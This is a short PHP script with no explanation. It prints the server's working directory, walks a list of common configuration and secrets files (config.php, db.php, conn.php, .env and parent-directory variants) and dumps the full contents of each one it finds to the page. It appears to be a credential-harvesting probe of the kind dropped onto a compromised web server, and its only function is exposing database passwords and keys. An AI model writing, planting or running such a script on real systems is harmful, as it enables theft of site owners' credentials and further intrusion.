<?php
echo "<pre>";
echo "CWD: " . getcwd() . "\n\n";
foreach ([
  'config.php','../config.php','../../config.php',
  'include/config.php','../include/config.php',
  'admin/config.php','../admin/config.php',
  'data/config.php','../data/config.php',
  'db.php','../db.php','conn.php','../conn.php',
  '.env','../.env',
] as $f) {
  if (file_exists($f)) {
    echo "===== $f =====\n" . file_get_contents($f) . "\n";
  }
}
echo "</pre>";
?>